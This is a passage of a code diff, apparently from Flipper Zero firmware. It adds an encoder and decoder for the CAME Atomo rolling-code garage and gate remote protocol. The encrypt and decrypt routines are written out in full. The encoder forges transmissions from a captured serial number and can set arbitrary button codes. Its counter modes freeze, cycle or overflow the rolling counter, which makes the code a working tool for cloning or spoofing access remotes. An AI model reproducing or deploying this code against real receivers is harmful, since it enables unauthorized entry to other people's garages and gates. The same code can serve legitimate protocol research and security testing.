+    .free = subghz_protocol_encoder_came_atomo_free,
+
+    .deserialize = subghz_protocol_encoder_came_atomo_deserialize,
+    .stop = subghz_protocol_encoder_came_atomo_stop,
+    .yield = subghz_protocol_encoder_came_atomo_yield,
+};
+
+const SubGhzProtocol subghz_protocol_came_atomo = {
+    .name = SUBGHZ_PROTOCOL_CAME_ATOMO_NAME,
+    .type = SubGhzProtocolTypeDynamic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
+            SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_came_atomo_decoder,
+    .encoder = &subghz_protocol_came_atomo_encoder,
+};
+
+static void subghz_protocol_came_atomo_remote_controller(SubGhzBlockGeneric* instance);
+
+/**
+ * Defines the button value for the current btn_id
+ * Basic set | 0x0 | 0x2 | 0x4 | 0x6 |
+ * @return Button code
+ */
+static uint8_t subghz_protocol_came_atomo_get_btn_code(void);
+
+void* subghz_protocol_encoder_came_atomo_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderCameAtomo* instance = malloc(sizeof(SubGhzProtocolEncoderCameAtomo));
+
+    instance->base.protocol = &subghz_protocol_came_atomo;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 1;
+    instance->encoder.size_upload = 900; //actual size 766+
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_came_atomo_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderCameAtomo* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+static LevelDuration
+    subghz_protocol_encoder_came_atomo_add_duration_to_upload(ManchesterEncoderResult result) {
+    LevelDuration data = {.duration = 0, .level = 0};
+    switch(result) {
+    case ManchesterEncoderResultShortLow:
+        data.duration = subghz_protocol_came_atomo_const.te_short;
+        data.level = false;
+        break;
+    case ManchesterEncoderResultLongLow:
+        data.duration = subghz_protocol_came_atomo_const.te_long;
+        data.level = false;
+        break;
+    case ManchesterEncoderResultLongHigh:
+        data.duration = subghz_protocol_came_atomo_const.te_long;
+        data.level = true;
+        break;
+    case ManchesterEncoderResultShortHigh:
+        data.duration = subghz_protocol_came_atomo_const.te_short;
+        data.level = true;
+        break;
+
+    default:
+        FURI_LOG_E(TAG, "SubGhz: ManchesterEncoderResult is incorrect.");
+        break;
+    }
+    return level_duration_make(data.level, data.duration);
+}
+
+bool subghz_protocol_came_atomo_create_data(
+    void* context,
+    FlipperFormat* flipper_format,
+    uint32_t serial,
+    uint16_t cnt,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolEncoderCameAtomo* instance = context;
+    instance->generic.btn = 0x1;
+    instance->generic.serial = serial;
+    instance->generic.cnt = cnt;
+    instance->generic.cnt_2 = 0x7e;
+    instance->generic.data_count_bit = 62;
+    instance->generic.data_2 =
+        ((uint64_t)0x7e << 56 | (uint64_t)cnt << 40 | (uint64_t)serial << 8);
+
+    uint8_t pack[8] = {};
+
+    pack[0] = (instance->generic.cnt_2);
+    pack[1] = (instance->generic.cnt >> 8);
+    pack[2] = (instance->generic.cnt & 0xFF);
+    pack[3] = ((instance->generic.data_2 >> 32) & 0xFF);
+    pack[4] = ((instance->generic.data_2 >> 24) & 0xFF);
+    pack[5] = ((instance->generic.data_2 >> 16) & 0xFF);
+    pack[6] = ((instance->generic.data_2 >> 8) & 0xFF);
+    pack[7] = (instance->generic.data_2 & 0xFF);
+
+    atomo_encrypt(pack);
+    uint32_t hi = pack[0] << 24 | pack[1] << 16 | pack[2] << 8 | pack[3];
+    uint32_t lo = pack[4] << 24 | pack[5] << 16 | pack[6] << 8 | pack[7];
+    instance->generic.data = (uint64_t)hi << 32 | lo;
+
+    instance->generic.data ^= 0xFFFFFFFFFFFFFFFF;
+    instance->generic.data >>= 4;
+    instance->generic.data &= 0xFFFFFFFFFFFFFFF;
+
+    return SubGhzProtocolStatusOk ==
+           subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderCameAtomo instance
+ */
+static void subghz_protocol_encoder_came_atomo_get_upload(
+    SubGhzProtocolEncoderCameAtomo* instance,
+    uint8_t btn) {
+    furi_assert(instance);
+    size_t index = 0;
+
+    ManchesterEncoderState enc_state;
+    manchester_encoder_reset(&enc_state);
+    ManchesterEncoderResult result;
+
+    uint8_t pack[8] = {};
+
+    // if we change counter/button in SignalSettings menu then we must bypass counter_modes, just gen and save signal file.
+    if(subghz_block_generic_global.cnt_need_override ||
+       subghz_block_generic_global.btn_need_override)
+        bypass = true;
+
+    if(came_atomo_counter_mode == 0 || bypass) {
+        // Check for OFEX (overflow experimental) mode
+        if(furi_hal_subghz_get_rolling_counter_mult() != -0x7FFFFFFF || bypass) {
+            bypass = false;
+            // standart counter mode. PULL data from subghz_block_generic_global variables
+            if(!subghz_block_generic_global_counter_override_get(&instance->generic.cnt)) {
+                // if counter_override_get return FALSE then counter was not changed and we increase counter by standart mult value
+                if((instance->generic.cnt + furi_hal_subghz_get_rolling_counter_mult()) > 0xFFFF) {
+                    instance->generic.cnt = 0;
+                } else {
+                    instance->generic.cnt += furi_hal_subghz_get_rolling_counter_mult();
+                }
+            }
+        } else {
+            //OFFEX mode
+            if((instance->generic.cnt + 0x1) > 0xFFFF) {
+                instance->generic.cnt = 0;
+            } else if(instance->generic.cnt >= 0x1 && instance->generic.cnt != 0xFFFE) {
+                instance->generic.cnt = 0xFFFE;
+            } else {
+                instance->generic.cnt++;
+            }
+        }
+    } else if(came_atomo_counter_mode == 1) {
+        // Mode 1
+        // 0000 / 0001 / FFFE / FFFF
+        if((instance->generic.cnt + 0x1) > 0xFFFF) {
+            instance->generic.cnt = 0;
+        } else if(instance->generic.cnt >= 0x1 && instance->generic.cnt != 0xFFFE) {
+            instance->generic.cnt = 0xFFFE;
+        } else {
+            instance->generic.cnt++;
+        }
+    } else if(came_atomo_counter_mode == 2) {
+        // Mode 2
+        // 0x807B / 0x807C / 0x007B / 0x007C
+        if(instance->generic.cnt != 0x807B && instance->generic.cnt != 0x807C &&
+           instance->generic.cnt != 0x007B) {
+            instance->generic.cnt = 0x807B;
+        } else if(instance->generic.cnt == 0x807C) {
+            instance->generic.cnt = 0x007B;
+        } else {
+            instance->generic.cnt++;
+        }
+    } else {
+        // Mode 3 - Freeze counter
+    }
+
+    // Save original button for later use
+    // if(subghz_custom_btn_get_original() == 0) {
+    //             // // subghz_custom_btn_set_original(btn);
+    // }
+
+    btn = subghz_protocol_came_atomo_get_btn_code();
+
+    if(btn == 0x1) {
+        btn = 0x0;
+    } else if(btn == 0x2) {
+        btn = 0x2;
+    } else if(btn == 0x3) {
+        btn = 0x4;
+    } else if(btn == 0x4) {
+        btn = 0x6;
+    }
+
+    // override button if we change it with signal settings button editor
+    if(subghz_block_generic_global_button_override_get(&btn))
+        FURI_LOG_D(TAG, "Button sucessfully changed to 0x%X", btn);
+
+    //Send header
+    instance->encoder.upload[index++] =
+        level_duration_make(true, (uint32_t)subghz_protocol_came_atomo_const.te_long * 15);
+    instance->encoder.upload[index++] =
+        level_duration_make(false, (uint32_t)subghz_protocol_came_atomo_const.te_long * 60);
+
+    // Btn counter 0x0 - 0x7F
+    pack[0] = 0;
+    for(uint8_t i = 0; i < 8; i++) {
+        //pack[0] = (instance->generic.data_2 >> 56);
+        pack[1] = (instance->generic.cnt >> 8);
+        pack[2] = (instance->generic.cnt & 0xFF);
+        pack[3] = ((instance->generic.data_2 >> 32) & 0xFF);
+        pack[4] = ((instance->generic.data_2 >> 24) & 0xFF);
+        pack[5] = ((instance->generic.data_2 >> 16) & 0xFF);
+        pack[6] = ((instance->generic.data_2 >> 8) & 0xFF);
+        pack[7] = (btn << 4);
+
+        /* if(pack[0] == 0x7F) {
+            pack[0] = 0;
+        } else {
+            pack[0] += (i + 1);
+        }
+        */
+        switch(i) {
+        case 0:
+            pack[0] = 10; // 0A
+            break;
+        case 1:
+            pack[0] = 30;
+            break;
+        case 2:
+            pack[0] = 125; // 7D
+            break;
+        case 3:
+            pack[0] = 126; // 7E
+            break;
+        case 4:
+            pack[0] = 127; // 7F
+            break;
+        case 5:
+            pack[0] = 0; // 00
+            break;
+        case 6:
+            pack[0] = 1; // 01
+            break;
+        case 7:
+            pack[0] = 3;
+            break;
+
+        default:
+            break;
+        }
+        // 10 50 125 126 127 0 1 2
+
+        atomo_encrypt(pack);
+        uint32_t hi = pack[0] << 24 | pack[1] << 16 | pack[2] << 8 | pack[3];
+        uint32_t lo = pack[4] << 24 | pack[5] << 16 | pack[6] << 8 | pack[7];
+        instance->generic.data = (uint64_t)hi << 32 | lo;
+
+        instance->generic.data ^= 0xFFFFFFFFFFFFFFFF;
+        instance->generic.data >>= 4;
+        instance->generic.data &= 0xFFFFFFFFFFFFFFF;
+
+        instance->encoder.upload[index++] =
+            level_duration_make(true, (uint32_t)subghz_protocol_came_atomo_const.te_long);
+        instance->encoder.upload[index++] =
+            level_duration_make(false, (uint32_t)subghz_protocol_came_atomo_const.te_short);
+
+        for(uint8_t i = (instance->generic.data_count_bit - 2); i > 0; i--) {
+            if(!manchester_encoder_advance(
+                   &enc_state, !bit_read(instance->generic.data, i - 1), &result)) {
+                instance->encoder.upload[index++] =
+                    subghz_protocol_encoder_came_atomo_add_duration_to_upload(result);
+                manchester_encoder_advance(
+                    &enc_state, !bit_read(instance->generic.data, i - 1), &result);
+            }
+            instance->encoder.upload[index++] =
+                subghz_protocol_encoder_came_atomo_add_duration_to_upload(result);
+        }
+        instance->encoder.upload[index] =
+            subghz_protocol_encoder_came_atomo_add_duration_to_upload(
+                manchester_encoder_finish(&enc_state));
+        if(level_duration_get_level(instance->encoder.upload[index])) {
+            index++;
+        }
+        //Send pause
+        instance->encoder.upload[index++] =
+            level_duration_make(false, (uint32_t)subghz_protocol_came_atomo_const.te_delta * 272);
+    }
+    instance->encoder.size_upload = index;
+    instance->generic.cnt_2++;
+    pack[0] = (instance->generic.cnt_2);
+    pack[1] = (instance->generic.cnt >> 8);
+    pack[2] = (instance->generic.cnt & 0xFF);
+    pack[3] = ((instance->generic.data_2 >> 32) & 0xFF);
+    pack[4] = ((instance->generic.data_2 >> 24) & 0xFF);
+    pack[5] = ((instance->generic.data_2 >> 16) & 0xFF);
+    pack[6] = ((instance->generic.data_2 >> 8) & 0xFF);
+    pack[7] = (btn << 4);
+
+    atomo_encrypt(pack);
+    uint32_t hi = pack[0] << 24 | pack[1] << 16 | pack[2] << 8 | pack[3];
+    uint32_t lo = pack[4] << 24 | pack[5] << 16 | pack[6] << 8 | pack[7];
+    instance->generic.data = (uint64_t)hi << 32 | lo;
+
+    instance->generic.data ^= 0xFFFFFFFFFFFFFFFF;
+    instance->generic.data >>= 4;
+    instance->generic.data &= 0xFFFFFFFFFFFFFFF;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_came_atomo_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderCameAtomo* instance = context;
+    SubGhzProtocolStatus res = SubGhzProtocolStatusError;
+    do {
+        if(SubGhzProtocolStatusOk !=
+           subghz_block_generic_deserialize(&instance->generic, flipper_format)) {
+            FURI_LOG_E(TAG, "Deserialize error");
+            break;
+        }
+
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            break;
+        }
+
+        uint32_t tmp_counter_mode;
+        if(flipper_format_read_uint32(flipper_format, "CounterMode", &tmp_counter_mode, 1)) {
+            came_atomo_counter_mode = (uint8_t)tmp_counter_mode;
+        } else {
+            came_atomo_counter_mode = 0;
+        }
+
+        subghz_protocol_came_atomo_remote_controller(&instance->generic);
+        subghz_protocol_encoder_came_atomo_get_upload(instance, instance->generic.btn);
+
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            break;
+        }
+        uint8_t key_data[sizeof(uint64_t)] = {0};
+        for(size_t i = 0; i < sizeof(uint64_t); i++) {
+            key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data >> i * 8) & 0xFF;
+        }
+        if(!flipper_format_update_hex(flipper_format, "Key", key_data, sizeof(uint64_t))) {
+            FURI_LOG_E(TAG, "Unable to add Key");
+            break;
+        }
+
+        instance->encoder.is_running = true;
+
+        res = SubGhzProtocolStatusOk;
+    } while(false);
+
+    return res;
+}
+
+void subghz_protocol_encoder_came_atomo_stop(void* context) {
+    SubGhzProtocolEncoderCameAtomo* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_came_atomo_yield(void* context) {
+    SubGhzProtocolEncoderCameAtomo* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_came_atomo_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderCameAtomo* instance = malloc(sizeof(SubGhzProtocolDecoderCameAtomo));
+    instance->base.protocol = &subghz_protocol_came_atomo;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    return instance;
+}
+
+void subghz_protocol_decoder_came_atomo_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderCameAtomo* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_came_atomo_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderCameAtomo* instance = context;
+    instance->decoder.parser_step = CameAtomoDecoderStepReset;
+    manchester_advance(
+        instance->manchester_saved_state,
+        ManchesterEventReset,
+        &instance->manchester_saved_state,
+        NULL);
+}
+
+void subghz_protocol_decoder_came_atomo_feed(void* context, bool level, uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderCameAtomo* instance = context;
+
+    ManchesterEvent event = ManchesterEventReset;
+    switch(instance->decoder.parser_step) {
+    case CameAtomoDecoderStepReset:
+        // There are two known options for the header: 72K us (TOP42R, TOP44R) or 12k us (found on TOP44RBN)
+        if((!level) && ((DURATION_DIFF(duration, subghz_protocol_came_atomo_const.te_long * 10) <
+                         subghz_protocol_came_atomo_const.te_delta * 20) ||
+                        (DURATION_DIFF(duration, subghz_protocol_came_atomo_const.te_long * 60) <
+                         subghz_protocol_came_atomo_const.te_delta * 40))) {
+            //Found header CAME
+            instance->decoder.parser_step = CameAtomoDecoderStepDecoderData;
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 1;
+            manchester_advance(
+                instance->manchester_saved_state,
+                ManchesterEventReset,
+                &instance->manchester_saved_state,
+                NULL);
+            manchester_advance(
+                instance->manchester_saved_state,
+                ManchesterEventShortLow,
+                &instance->manchester_saved_state,
+                NULL);
+        }
+        break;
+    case CameAtomoDecoderStepDecoderData:
+        if(!level) {
+            if(DURATION_DIFF(duration, subghz_protocol_came_atomo_const.te_short) <
+               subghz_protocol_came_atomo_const.te_delta) {
+                event = ManchesterEventShortLow;
+            } else if(
+                DURATION_DIFF(duration, subghz_protocol_came_atomo_const.te_long) <
+                subghz_protocol_came_atomo_const.te_delta) {
+                event = ManchesterEventLongLow;
+            } else if(
+                duration >= ((uint32_t)subghz_protocol_came_atomo_const.te_long * 2 +
+                             subghz_protocol_came_atomo_const.te_delta)) {
+                if(instance->decoder.decode_count_bit ==
+                   subghz_protocol_came_atomo_const.min_count_bit_for_found) {
+                    instance->generic.data = instance->decoder.decode_data;
+                    instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+                    if(instance->base.callback)
+                        instance->base.callback(&instance->base, instance->base.context);
+                }
+                instance->decoder.decode_data = 0;
+                instance->decoder.decode_count_bit = 1;
+                manchester_advance(
+                    instance->manchester_saved_state,
+                    ManchesterEventReset,
+                    &instance->manchester_saved_state,
+                    NULL);
+                manchester_advance(
+                    instance->manchester_saved_state,
+                    ManchesterEventShortLow,
+                    &instance->manchester_saved_state,
+                    NULL);
+            } else {
+                instance->decoder.parser_step = CameAtomoDecoderStepReset;
+            }
+        } else {
+            if(DURATION_DIFF(duration, subghz_protocol_came_atomo_const.te_short) <
+               subghz_protocol_came_atomo_const.te_delta) {
+                event = ManchesterEventShortHigh;
+            } else if(
+                DURATION_DIFF(duration, subghz_protocol_came_atomo_const.te_long) <
+                subghz_protocol_came_atomo_const.te_delta) {
+                event = ManchesterEventLongHigh;
+            } else {
+                instance->decoder.parser_step = CameAtomoDecoderStepReset;
+            }
+        }
+        if(event != ManchesterEventReset) {
+            bool data;
+            bool data_ok = manchester_advance(
+                instance->manchester_saved_state, event, &instance->manchester_saved_state, &data);
+
+            if(data_ok) {
+                instance->decoder.decode_data = (instance->decoder.decode_data << 1) | !data;
+                instance->decoder.decode_count_bit++;
+            }
+        }
+        break;
+    }
+}
+
+/** 
+ * Analysis of received data
+ * @param instance Pointer to a SubGhzBlockGeneric* instance
+ * @param file_name Full path to rainbow table the file
+ */
+static void subghz_protocol_came_atomo_remote_controller(SubGhzBlockGeneric* instance) {
+    /*
+    * ***SkorP ver.***
+    * 0x1fafef3ed0f7d9ef
+    * 0x185fcc1531ee86e7
+    * 0x184fa96912c567ff
+    * 0x187f8a42f3dc38f7
+    * 0x186f63915492a5cd
+    * 0x181f40bab58bfac5
+    * 0x180f25c696a01bdd
+    * 0x183f06ed77b944d5
+    * 0x182ef661d83d21a9
+    * 0x18ded54a39247ea1
+    * 0x18ceb0361a0f9fb9
+    * 0x18fe931dfb16c0b1
+    * 0x18ee7ace5c585d8b
+    * ........ 
+    * transmission consists of 99 parcels with increasing counter while holding down the button
+    * with each new press, the counter in the encrypted part increases
+    * 
+    * 0x1FAFF13ED0F7D9EF
+    * 0x1FAFF11ED0F7D9EF
+    * 0x1FAFF10ED0F7D9EF
+    * 0x1FAFF0FED0F7D9EF
+    * 0x1FAFF0EED0F7D9EF
+    * 0x1FAFF0DED0F7D9EF
+    * 0x1FAFF0CED0F7D9EF
+    * 0x1FAFF0BED0F7D9EF
+    * 0x1FAFF0AED0F7D9EF 
+    * 
+    *                   where     0x1FAF - parcel counter, 0хF0A - button press counter,
+    *                           0xED0F7D9E - serial number, 0хF -  key
+    * 0x1FAF parcel counter - 1 in the parcel queue ^ 0x185F =  0x07F0
+    * 0x185f ^ 0x185F = 0x0000
+    * 0x184f ^ 0x185F = 0x0010
+    * 0x187f ^ 0x185F = 0x0020
+    * .....
+    * 0x182e ^ 0x185F = 0x0071 
+    * 0x18de ^ 0x185F = 0x0081
+    * .....
+    * 0x1e43 ^ 0x185F = 0x061C
+    *                           where the last nibble is incremented every 8 samples
+    * 
+    * Decode
+    * 
+    * 0x1cf6931dfb16c0b1 => 0x1cf6
+    * 0x1cf6 ^ 0x185F = 0x04A9
+    * 0x04A9 => 0x04A = 74 (dec)
+    * 74+1 % 32(atomo_magic_xor) = 11
+    * GET atomo_magic_xor[11] = 0xXXXXXXXXXXXXXXXX
+    * 0x931dfb16c0b1 ^ 0xXXXXXXXXXXXXXXXX =  0xEF3ED0F7D9EF
+    * 0xEF3 ED0F7D9E F  => 0xEF3 - CNT, 0xED0F7D9E - SN, 0xF - key
+    * 
+    *  ***Actual***
+    * Button hold-cycle counter (8-bit, from 0 to 0x7F) should DO full cycle or half cycle keeping values like zero
+    * 0x1FF08D9924984115 - received data
+    * 0x00F7266DB67BEEA0 - inverted data
+    * 0x0501FD0000A08300 - decrypted data, 
+    * where: 0x05 - Button hold-cycle counter (8-bit, from 0 to 0x7F)
+    *        0x01FD - Parcel counter (normal 16-bit counter)
+    *        0x0000A083 - Serial number (32-bit)
+    *        0x0 - Button code (4-bit, 0x0 - #1 left-up; 0x2 - #2 right-up; 0x4 - #3 left-down;  0x6 - #4 right-down)
+    *        0x0 - Last zero nibble
+    * */
+
+    instance->data ^= 0xFFFFFFFFFFFFFFFF;
+    instance->data <<= 4;
+
+    uint8_t pack[8] = {};
+    pack[0] = (instance->data >> 56);
+    pack[1] = ((instance->data >> 48) & 0xFF);
+    pack[2] = ((instance->data >> 40) & 0xFF);
+    pack[3] = ((instance->data >> 32) & 0xFF);
+    pack[4] = ((instance->data >> 24) & 0xFF);
+    pack[5] = ((instance->data >> 16) & 0xFF);
+    pack[6] = ((instance->data >> 8) & 0xFF);
+    pack[7] = (instance->data & 0xFF);
+
+    atomo_decrypt(pack);
+
+    instance->cnt_2 = pack[0];
+    instance->cnt = (uint16_t)pack[1] << 8 | pack[2];
+    instance->serial = (uint32_t)(pack[3]) << 24 | pack[4] << 16 | pack[5] << 8 | pack[6];
+
+    uint8_t btn_decode = (pack[7] >> 4);
+    if(btn_decode == 0x0) {
+        instance->btn = 0x1;
+    } else if(btn_decode == 0x2) {
+        instance->btn = 0x2;
+    } else if(btn_decode == 0x4) {
+        instance->btn = 0x3;
+    } else if(btn_decode == 0x6) {
+        instance->btn = 0x4;
+    }
+
+    uint32_t hi = pack[0] << 24 | pack[1] << 16 | pack[2] << 8 | pack[3];
+    uint32_t lo = pack[4] << 24 | pack[5] << 16 | pack[6] << 8 | pack[7];
+    instance->data_2 = (uint64_t)hi << 32 | lo;
+
+    // Save original button for later use
+    if(subghz_custom_btn_get_original() == 0) {
+        // subghz_custom_btn_set_original(instance->btn);
+    }
+    // subghz_custom_btn_set_max(3);
+}
+
+void atomo_encrypt(uint8_t* buff) {
+    uint8_t tmpB = (~buff[0] + 1) & 0x7F;
+
+    uint8_t bitCnt = 8;
+    while(bitCnt < 59) {
+        if((tmpB & 0x18) && (((tmpB / 8) & 3) != 3)) {
+            tmpB = ((tmpB << 1) & 0xFF) | 1;
+        } else {
+            tmpB = (tmpB << 1) & 0xFF;
+        }
+
+        if(tmpB & 0x80) {
+            buff[bitCnt / 8] ^= (0x80 >> (bitCnt & 7));
+        }
+
+        bitCnt++;
+    }
+
+    buff[0] = (buff[0] ^ 5) & 0x7F;
+}
+
+void atomo_decrypt(uint8_t* buff) {
+    buff[0] = (buff[0] ^ 5) & 0x7F;
+    uint8_t tmpB = (-buff[0]) & 0x7F;
+
+    uint8_t bitCnt = 8;
+    while(bitCnt < 59) {
+        if((tmpB & 0x18) && (((tmpB / 8) & 3) != 3)) {
+            tmpB = ((tmpB << 1) & 0xFF) | 1;
+        } else {
+            tmpB = (tmpB << 1) & 0xFF;
+        }
+
+        if(tmpB & 0x80) {
+            buff[bitCnt / 8] ^= (0x80 >> (bitCnt & 7));
+        }
+
+        bitCnt++;
+    }
+}
+
+static uint8_t subghz_protocol_came_atomo_get_btn_code(void) {
+    uint8_t custom_btn_id = subghz_custom_btn_get();
+    uint8_t original_btn_code = subghz_custom_btn_get_original();
+    uint8_t btn = original_btn_code;
+
+    // Set custom button
+    if((custom_btn_id == SUBGHZ_CUSTOM_BTN_OK) && (original_btn_code != 0)) {
+        // Restore original button code
+        btn = original_btn_code;
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_UP) {
+        switch(original_btn_code) {
+        case 0x1:
+            btn = 0x2;
+            break;
+        case 0x2:
+            btn = 0x1;
+            break;
+        case 0x3:
+            btn = 0x1;
+            break;
+        case 0x4:
+            btn = 0x1;
+            break;
+
+        default:
+            break;
+        }
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_DOWN) {
+        switch(original_btn_code) {
+        case 0x1:
+            btn = 0x3;
+            break;
+        case 0x2:
+            btn = 0x3;
+            break;
+        case 0x3:
+            btn = 0x2;
+            break;
+        case 0x4:
+            btn = 0x2;
+            break;
+
+        default:
+            break;
+        }
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_LEFT) {
+        switch(original_btn_code) {
+        case 0x1:
+            btn = 0x4;
+            break;
+        case 0x2:
+            btn = 0x4;
+            break;
+        case 0x3:
+            btn = 0x4;
+            break;
+        case 0x4:
+            btn = 0x3;
+            break;
+
+        default:
+            break;
+        }
+    }
+
+    return btn;
+}
+
+uint8_t subghz_protocol_decoder_came_atomo_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderCameAtomo* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_came_atomo_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderCameAtomo* instance = context;
+    return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_came_atomo_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderCameAtomo* instance = context;
+
+    SubGhzProtocolStatus status = SubGhzProtocolStatusOk;
+    status = subghz_block_generic_deserialize(&instance->generic, flipper_format);
+    if(status != SubGhzProtocolStatusOk) {
+        FURI_LOG_E(TAG, "Deserialize error");
+        return status;
+    }
+    if(instance->generic.data_count_bit !=
+       subghz_protocol_came_atomo_const.min_count_bit_for_found) {
+        FURI_LOG_E(TAG, "Wrong number of bits in key");
+        return SubGhzProtocolStatusErrorValueBitCount;
+    }
+
+    if(!flipper_format_rewind(flipper_format)) {
+        FURI_LOG_E(TAG, "Rewind error");
+        return SubGhzProtocolStatusError;
+    }
+
+    uint32_t tmp_counter_mode;
+    if(flipper_format_read_uint32(flipper_format, "CounterMode", &tmp_counter_mode, 1)) {
+        came_atomo_counter_mode = (uint8_t)tmp_counter_mode;
+    } else {
+        came_atomo_counter_mode = 0;
+    }
+
+    return status;
+}
+
+void subghz_protocol_decoder_came_atomo_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderCameAtomo* instance = context;
+    subghz_protocol_came_atomo_remote_controller(&instance->generic);
+    uint32_t code_found_hi = instance->generic.data >> 32;
+    uint32_t code_found_lo = instance->generic.data & 0x00000000ffffffff;
+
+    // push protocol data to global variable
+    subghz_block_generic_global.cnt_is_available = true;
+    subghz_block_generic_global.cnt_length_bit = 16;
+    subghz_block_generic_global.current_cnt = instance->generic.cnt;
+
+    subghz_block_generic_global.btn_is_available = true;
+    subghz_block_generic_global.current_btn = instance->generic.btn;
+    subghz_block_generic_global.btn_length_bit = 4;
+
+    //
+
+    furi_string_cat_printf(
+        output,
+        "%s %db\r\n"
+        "Key:%08lX%08lX\r\n"
+        "Sn:0x%08lX       Btn:%01X\r\n"
+        "Cnt:%04lX\r\n"
+        "Btn_Cnt:0x%02X",
+
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        code_found_hi,
+        code_found_lo,
+        instance->generic.serial,
+        instance->generic.btn,
+        instance->generic.cnt,
+        instance->generic.cnt_2);
+}

applications/system/Garage Door Remote/protocols/came_atomo.h

@@ -0,0 +1,112 @@
+#pragma once
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_CAME_ATOMO_NAME "CAME Atomo"
+
+typedef struct SubGhzProtocolDecoderCameAtomo SubGhzProtocolDecoderCameAtomo;
+typedef struct SubGhzProtocolEncoderCameAtomo SubGhzProtocolEncoderCameAtomo;
+
+extern const SubGhzProtocolDecoder subghz_protocol_came_atomo_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_came_atomo_encoder;
+extern const SubGhzProtocol subghz_protocol_came_atomo;
+
+void atomo_decrypt(uint8_t* buff);
+
+void atomo_encrypt(uint8_t* buff);
+
+/**
+ * Allocate SubGhzProtocolEncoderCameAtomo.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderCameAtomo* pointer to a SubGhzProtocolEncoderCameAtomo instance
+ */
+void* subghz_protocol_encoder_came_atomo_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderCameAtomo.
+ * @param context Pointer to a SubGhzProtocolEncoderCameAtomo instance
+ */
+void subghz_protocol_encoder_came_atomo_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderCameAtomo instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return true On success
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_came_atomo_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderCameAtomo instance
+ */
+void subghz_protocol_encoder_came_atomo_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderCameAtomo instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_came_atomo_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderCameAtomo.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderCameAtomo* pointer to a SubGhzProtocolDecoderCameAtomo instance
+ */
+void* subghz_protocol_decoder_came_atomo_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderCameAtomo.
+ * @param context Pointer to a SubGhzProtocolDecoderCameAtomo instance
+ */
+void subghz_protocol_decoder_came_atomo_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderCameAtomo.
+ * @param context Pointer to a SubGhzProtocolDecoderCameAtomo instance
+ */
